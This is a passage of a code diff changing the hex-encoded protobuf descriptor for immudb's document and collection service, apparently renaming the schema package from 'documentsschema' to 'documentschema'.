0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x52, 0x08, 0x72, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, - 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, - 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, 0x0a, 0x03, 0x47, 0x54, 0x45, 0x10, 0x02, 0x12, 0x06, - 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x54, 0x45, 0x10, 0x04, 0x12, - 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x05, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, - 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, - 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0x95, 0x0a, 0x0a, 0x0f, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, - 0x9b, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x12, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9b, 0x01, - 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, - 0x12, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9e, 0x01, 0x0a, 0x0d, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2c, 0x2e, + 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, + 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, + 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, + 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x22, 0x4e, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x32, + 0x0a, 0x08, 0x72, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x52, 0x08, 0x72, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, + 0x43, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x01, + 0x12, 0x07, 0x0a, 0x03, 0x47, 0x54, 0x45, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, + 0x03, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x54, 0x45, 0x10, 0x04, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, + 0x4b, 0x45, 0x10, 0x05, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, + 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, + 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0x85, 0x0a, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, - 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9e, 0x01, 0x0a, - 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa5, 0x01, - 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x12, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x30, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x96, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, + 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, + 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, - 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9d, - 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, - 0x74, 0x12, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa2, - 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x12, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 